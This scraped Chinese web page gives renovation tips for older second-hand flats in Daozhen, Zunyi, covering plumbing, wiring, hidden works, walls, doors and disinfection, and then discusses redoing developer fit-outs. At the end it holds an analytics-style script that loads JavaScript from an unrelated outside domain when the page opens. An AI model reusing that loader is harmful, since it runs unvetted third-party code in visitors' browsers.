道真二手房装修必知的七个实用技巧

像现在我们在遵义道真看到的很多二手房房龄都比较老旧，像一些二手房都居住都有十多年了，因此很多在遵义道真的居民买二手房之前都比较担心房子质量好不好，并且有的道真居民看到二手房装修风格就比较老旧，不太喜欢那样的款式!因此就想着要对道真二手房装修，可是都不太清楚二手房到底有没有问题，因此我们在装修前就要对一些看不见的二手房隐蔽工程要检查并作出判断外，并且我们在买二手房的时候也会注意到这么一个问题，就是二手房会有一些特别新的，比方说像新刷的墙壁或屋顶，为什么老旧的二手房会有“新”的部分呢，我们可以试想想是原来的房主是为了掩盖二手房墙壁上的裂缝或天花板渗水，遇到类似情况，新房主要格外留意。道真二手房装修必知的七个实用技巧一、道真二手房装修老化水管一定要换掉像现在我们看到的很多道真二手房原有的水路管线往往有很多并不太不合理的布局，因此来说在对道真旧房装修的时候咱们就一定要对原有的水路进行彻底检查，看看是不是存在锈蚀、老化。如果说二手房中原有的管线使用的是已经被淘汰的镀锌管，在装修工程施工中必须将其全部更换为铜管、铝塑复合管或PP-R管。比方说装修卫生间前要先堵住地漏，去放5厘米深左右的水进行试验，如果说卫生间漏水的话那么咱们就必须重新做二手房防水工作;同时要注意的是，装修施工后不能留下死角。二、道真二手房装修电路非改造不可当下我们看到很多遵义二手房都普遍存在电路分配简单、电线老化、违章布线等现象，已经完全不能适应现代家庭的用电需求，因此来说我们在对二手房装修的时候就必须对其进行彻底改造，重新布线。如果说发现了原有线路使用的是铝质电线，则必须将其全部更换成2.5平方毫米截面的铜质电线。而对于安装空调等大功率电器的线路，则应单独设置一条4平方毫米截面的线路，并且必须在埋线时使用PVC绝缘护线管。此外，新的国家标准规定，民用住宅中固定插座数量不应少于12个，但目前仍有不少的二手房原有的插座数量达不到这个标准，如果大量使用移动插座，当电流负荷增大时，移动插座就会因接触不良而产生异常的高温，为触电和电器火灾事故埋下隐患。三、道真二手房装修“隐蔽工程”拆开重来放下房屋装修中的装修工程质量问题，其中很多都是由房屋“隐蔽工程”施工不当造成的。那么什么是房屋“隐蔽工程”?在装修工程施工工艺顺序过程中，上一道工序的工作结束，将被下一道所掩盖而无法进行检查的部位，称之为“隐蔽工程”。因此，在二手房装修时，对“隐蔽工程”要格外注意。例如对吊顶内的供水、空调、通风等各种设施的管道、线路、设备是否已做密闭试验及电器绝缘、电阻测试，连接是否牢固、接头做法是否符合要求、易燃材料是否已做防火阻燃处理等都属于“隐蔽工程”的范围，都是在第一次安装之后无法再进行检查的。业内人士建议，旧房装修时，能重新打开这些部位乃是一个消除隐患的好机会，业主一定要严格检查，把以往遗留下的“隐蔽工程”除掉。四、道真二手房装修三“面”改造必不可少在对二手房装修的时候，我们可能会忽略二手房的墙面、地面、天花板的改造，在这里遵义装修达人建议最好请专业的装修工对房屋进行实地勘察，看有无明显裂纹、是否平整、有无脱落和起沙。如果存在这些情况，就要进行修补处理，包括铲除墙面油污、粉化了的墙漆等，用水泥沙浆修补基层、裂缝、孔洞。然后可以选择可塑性强、环保功能优越的硅藻泥进行墙面装饰。硅藻泥可以根据家里的整体氛围和风格定位，给用户提供称心的颜色和图案，还可以在用户入住后，用自身独特的功能给用户营造一个湿度适宜的活氧健康家居环境。在施工中应注意现场空气的洁净，做好防尘保护，工具上要保证没有杂物。五、道真二手房装修门窗更新慎重考虑门窗老化也是二手房中的一个突出问题，但是如果材质坚固，并且我们也喜欢其款式，一般来说只要重新涂漆即可焕然一新，但如果有以下问题出现，就必须拆掉重做，主要的问题要看木门窗是否起皮、变形，如果有，则说明木材本身特性发生变化，一定要换新的了。此外，钢制门窗表面漆膜脱落、主体锈蚀或开裂，除了不安全外，也很难恢复原状，为了不影响使用效果，专家建议也应拆掉重做。六、道真二手房装修在拆除旧瓷砖重铺时，还要注意三点：1.砸墙砖及地面砖时，避免碎片堵塞下水道;2.处理好防水，水路尽量少用弯头，避免流水不畅或堵塞;3.尽量少用木质板材，大多木制品含甲醛，影响健康，另外木材会因为天气潮湿变形，而且木制品手工费用也较高。七、道真二手房装修过程中要彻底消毒装修二手房有个重要的步骤必不可少，那就是要彻底消毒。可用3%的来苏水、1%-3%的漂白粉水或用3%的过氧乙酸溶液喷洒。洒后关门窗1小时。以上的二手房装修知识，各位遵义道真居民们是否都懂得了呢?

二次装修和精装修有什么关系？有哪些要注意的？

现在都很多楼盘地产都在“去库存”，为了方便年轻人买房入住，也为了方便房东们买房出租，直接推出了精装修过后的“精装房”，但有时候因为各种原因，买了精装房的住户们也会后悔，会想要重新规划设计自己的房子，这就产生了二次装修，而二次装修和精装修的关系其实是很近的，没有精装修，二次装修也无从谈起，不仅如此，已经装修好的房子可能也会因为风格老旧进行二次装修，那么，二次装修和精装修有没有什么限制关系呢？在二次装修中要注意什么？二次装修和精装修的关系和取舍先从精装公寓谈起，对于这种公寓二次装修和精装修的关系就好比敌人，因为总是因为开发商的装饰风格业主不够喜欢，更有甚者，开发商进行精装修是为了掩盖房屋本身的一些缺点，拖延业主的维权耐心。而如果是自己的住宅风雨多年想要旧貌换新颜，那么二次装修和精装修的关系就好比父子了，脱胎于老，成就于新，相信肯为老房子花这么大力气的朋友对生活也一定是充满热情的。总的来说，二次装修和精装修不需要艰难的取舍，虽然工程很大，但为了自己的生活质量也是值得的。精装修后二次装修的注意事项在精装修转二次装修时，需要注意的地方有很多，但基本就是这么三大类：成本控制、风格规划、后期维护。在进行二次装修时，成本不仅仅指金钱成本还有关键的时间和精力的成本，一般来说二次装修的工程基本都不小，但如果能尽量少改变一些地方，做到以退为进，兼收并蓄，不仅开销上小了不少，还能节省大量的宝贵精力。再比如风格的规划设计，二次装修面临的问题就是，如果局部调整下，新的二次装修和精装修与老款风格有很大的不一致，那么最终的成果是很不尽如人意的，风格看似玄学，但不是可有可无，统一协调的风格对整个屋子起到的作用是难以置信的。最后说后期维护，不论水电气都是在二次装修时会变动的要素，但这几项都是非常需要规划的，否则电板不够用，卫生间漏水，这都是严重影响居住体验的麻烦。二次装修和精装修的关系大家明白了，注意事项也了解了一二，其实，打算重新弄房屋装修关键是不能怕麻烦，只要心操到了，还是没什么大问题的。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();